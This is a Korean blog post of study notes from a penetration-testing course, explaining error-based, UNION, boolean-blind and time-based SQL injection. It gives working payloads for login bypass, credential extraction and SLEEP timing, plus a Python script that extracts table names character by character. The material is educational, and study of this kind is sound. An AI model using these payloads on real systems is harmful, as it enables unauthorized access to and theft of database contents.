eezy 2024. 5. 25. 15:04

SQL Injection의 작동 원리와 방법에 대해 알아보자!

모의해킹 스터디 5주차 강의 내용에 대한 정리.

SQL Injection 이란?

<목차>

1. SQL이란?

2. SQL Injection 이란?

3. 공격의 종류와 방법

 

SQL 이란 ? 

▶ Structured Query Language (SQL)

 

관계형 데이터베이스에서 데이터를 관리하기 위해 설계된 프로그래밍 언어로

데이터를 삽입, 수정 및 삭제하는 과정에서 쓰이는 언어다. 

 

즉 데이터베이스와 소통하고 데이터를 효율적으로 관리하기 위해 쓰이는 언어이다. 

 

SQL Injection (SQLi) 이란 ?

▶ Structured Query Language (SQL)

 

공격자가 응용 프로그램의 보안상의 헛점을 이용하여 SQL 문을 삽입하여 데이터베이스에서 수행하는 쿼리를 방해할 수 있는 웹 보안 취약점이다

  • 공격자는 이를 통해 일반적으로 접근할 수 없는 정보를 취득하는 목적으로 이용되며
  • 더 나아가 데이터를 수정 및 삭제하여 응용 프로그램의 콘텐츠나 동작을 방해할 수 있다
  • OWASP에서도 1순위로 분류된 만큼 공격이 성공할 경우 큰 피해를 입힐 수 있기에 각별한 주의가 필요하다. 

 

 

INSERT INTO students(name) VALUES('Robert');
DROP students TABLE

 

실제 위 사진은 이러한 코드로 작성되어 쿼리가 실행되었을 것이다. 

유머로 만든 사진이지만, SQLi 의 위력을 한 번에 볼 수 있다. 

 

공격의 종류와 방법

 

Error based SQL Injection

공격자가 SQL 쿼리에 고의적으로 오류를 발생시켜, 그 때 출력되는 오류의 내용으로 필요한 데이터를 찾아내는 기법이다. 

 

로그인 페이지에서의 SQLi 공격 예시

 

▶ 기존 SQL 구문

SELECT * FROM TABLE WHERE id='INPUT1' AND password='INPUT2';

 

▶ 공격 구문 

  • id : ' OR 1=1 #
  • password : anything
SELECT * FROM TABLE WHERE id='' OR 1=1 # AND password='anything';

id input에 어떠한 정보가 들어오더라도, OR 1=1 의 항등원 구문으로 해당 쿼리는 항상 참이 된다. 

# 뒤의 부분은 주석처리되어 password 값은 검증하지 않는다. 

 

▶ 결과

  • 기존 구문대로라면, Input 값의 id/password를 가진 유저의 데이터를 불러와야 하지만
  • 공격 구문으로는, 테이블의 모든 정보를 가져올 수 있다

 

UNION based SQL Injection

UNION 이란?

두 개의 쿼리문에 대한 결과를 하나의 테이블로 통합하여 보여주는 쿼리문이다

UNION 안에는 2개의 select 문이 들어간다. 

 

단, UNION Injection 을 하기 위해서는 두 테이블의 컬럼 수가 같고, 데이터 형이 동일해야 한다. 

 

게시판에서 SQLi 공격 예시

 

▶ 기존 SQL 구문

SELECT * FROM TABLE WHERE title LIKE '%Input%' OR contents LIKE '%Input%';

제목이나 글의 내용에서 Input 된 글자를 포함하는 모든 데이터를 불러온다 

 

▶ 공격 구문 

SELECT * FROM TABLE WHERE title LIKE '%' UNION SELECT null, id, password FROM Users #%' OR contents LIKE '%Input%';

기존 테이블의 모든 데이터와 함께, Users 테이블의 id, password 값도 같이 불러온다

 

Blind SQL Injection

에러가 발생되지 않는 사이트에서 데이터 베이스로부터 특정한 값이나 데이터를 전달받지 않고, 단순히 참과 거짓의 정보만 알 수 있을 때 사용할 수 있다. 

 

  1. Boolean based SQL

LIMIT, SUBSTR, ASCII를 사용하여 조건이 참이면 페이지가 정상적으로 출력되고, 그렇지 않은 경우 출력되지 않는 것으로 공격의 성공 여부를 확인할 수 있다. 

 

▶ 기존 SQL 구문

SELECT * FROM Users WHERE id='Input1' AND pass='Input2';

 

▶ 공격 구문

SELECT * FROM Users WHERE id = 'Input1' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 -- USRE_ID' AND pw = 'Input2';
  • LIMIT 을 통해 하나의 테이블만 조회하고, SUBSTR함수로 첫 글자만 찾게 됩니다.
  • ASCII를 통해 값이 변환되고 조회되는 테이블 명의 첫 번째 글자가 U면 테이블이 조회됩니다.
  • 참(로그인)이 될 때까지 100 숫자를 변경하며 비교를 하게 됩니다.
  • 자동화 스크립트로 만들어 단기간 내에 테이블 명을 알아낼 수도 있습니다.

* 테이블 이름을 가져오는 자동화 스크립트를 만들어 볼까?

더보기

▶ MySQL 데이터베이스의 information_schema.tables를 사용하여 테이블 이름을 추출하는 자동화 스크립트

import mysql.connector

def get_first_table_name():
    # MySQL 데이터베이스에 연결
    conn = mysql.connector.connect(
        host='your_mysql_host',
        user='your_mysql_user',
        password='your_mysql_password',
        database='your_database_name'
    )
    cursor = conn.cursor()

    table_name = ''
    char_position = 1

    while True:
        found = False
        for ascii_code in range(32, 127):  # ASCII 코드 범위: 32(공백) ~ 126(틸드 ~)
            query = f'''
                SELECT 1 FROM Users WHERE id = 'Input1' 
                AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables 
                WHERE table_type='BASE TABLE' AND table_schema='your_database_name' LIMIT 1 OFFSET 0), {char_position}, 1)) = {ascii_code} -- ' AND pw = 'Input2';
            '''
            cursor.execute(query)
            result = cursor.fetchone()
            if result:
                table_name += chr(ascii_code)
                char_position += 1
                found = True
                break

        if not found:  # 더 이상 문자가 없으면 루프 탈출
            break

    conn.close()
    return table_name

# 테이블 이름 추출
first_table_name = get_first_table_name()
print(f"First table name: {first_table_name}")

 

작동 방법

  1. MySQL 데이터베이스 연결 
    • mysql.connector.connect 로 본인의 데이터베이스에 접속 명령한다
    • 접근할 호스트, 사용자 이름, 비밀번호, 데이터베이스 이름 설정한다 
  2. 테이블 이름 추출
    • table_name : 변수에 테이블 이름을 저장한다
    • char_position : 현재 추출할 문자 위치를 나타낸다
    • ASCII 코드 범위를 순회하며 특정 위치의 문자를 추출한다
    • 주어진 ASCII 코드와 일치하는 문자열을 발견하면 table_name에 저장하고 다음 위치로 이동한다
    • 더 이상 문자를 찾을 수 없으면 루프를 종료한다
  3. 쿼리 작성 및 실행
    • information_schema.tables를 사용하여 첫 번째 테이블 이름을 추출한다
    • SUBSTRING과 ASCII 함수를 사용하여 특정 위치의 문자를 추출하고, 이를 ASCII 코드와 비교한다
  4. 결과 출력
    • 추출된 테이블 이름을 출력한다
  1. Time based SQL

위와 동일하게 서버로부터 특정한 응답 대신에 참 혹은 거짓의 응답을 통해서 데이터를 유추하며 
MySQL 기준으로 SLEEP 과 BENCHMARK 함수를 사용한다. 

 

기존 구문은 위와 동일하게 사용하여, 공격 구문을 작성해보았다. 

 

▶ 공격 구문

SELECT user FROM Users WHERE id = 'Input1' OR (LENGTH(DATABASE())=1 AND SLEEP(2)) -- USRE_ID' AND pw = 'INPUT2';
  •  LENGTH 함수는 문자열의 길이를 반환하며
  • DATABASE 함수는 데이터베이스의 이름을 반환한다.

LENGTH(DATABASE()) = 1 가 참이면 SLEEP(2) 가 동작하고거짓이면 동작하지 않는다.

  • 숫자 1을 조작하여 데이터베이스의 길이를 알아낼 수 있다. 
  • SLEEP 이라는 단어가 치환처리* 되어있다면, BENCHMARK 또는 WAIT 함수를 이용한다. 

* 치환 처리란 ? : 특정 키워드나 구문이 다른 방식으로 대체되어 실행되지 않도록 보호하는 방법

더보기

▶ 공격 구문 예시

 

데이터베이스에 쿼리를 보낸 후 10초 동안 지연 시킨다

SELECT * FROM users WHERE username = 'admin' AND password = 'password'; SLEEP(10); --

 

SLEEP 구문이 치환처리가 되어 있는 곳이라면, SLEEP 이 들어간 코드를 무시하고 실행한다. 

SELECT * FROM users WHERE username = 'admin' AND password = 'password'; -- SLEEP(10); --

 

▶ 치환 처리된 코드 예시 

def safe_query(query):
    # 특정 키워드를 빈 문자열로 치환
    query = query.replace('SLEEP', '')
    return query

user_input = "SELECT * FROM users WHERE username = 'admin' AND password = 'password'; SLEEP(10); --"
safe_query_string = safe_query(user_input)
print(safe_query_string)
# 결과: SELECT * FROM users WHERE username = 'admin' AND password = 'password'; --

 

<참조 링크>

 

티스토리 블로그

 

SQL Injection 이란? (SQL 삽입 공격)

1. SQL Injection 1.1 개요 Ÿ SQL InjectionSQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는

noirstar.tistory.com

 

PortSwigger

 

What is SQL Injection? Tutorial & Examples | Web Security Academy

In this section, we explain: What SQL injection (SQLi) is. How to find and exploit different types of SQLi vulnerabilities. How to prevent SQLi. Labs If ...

portswigger.net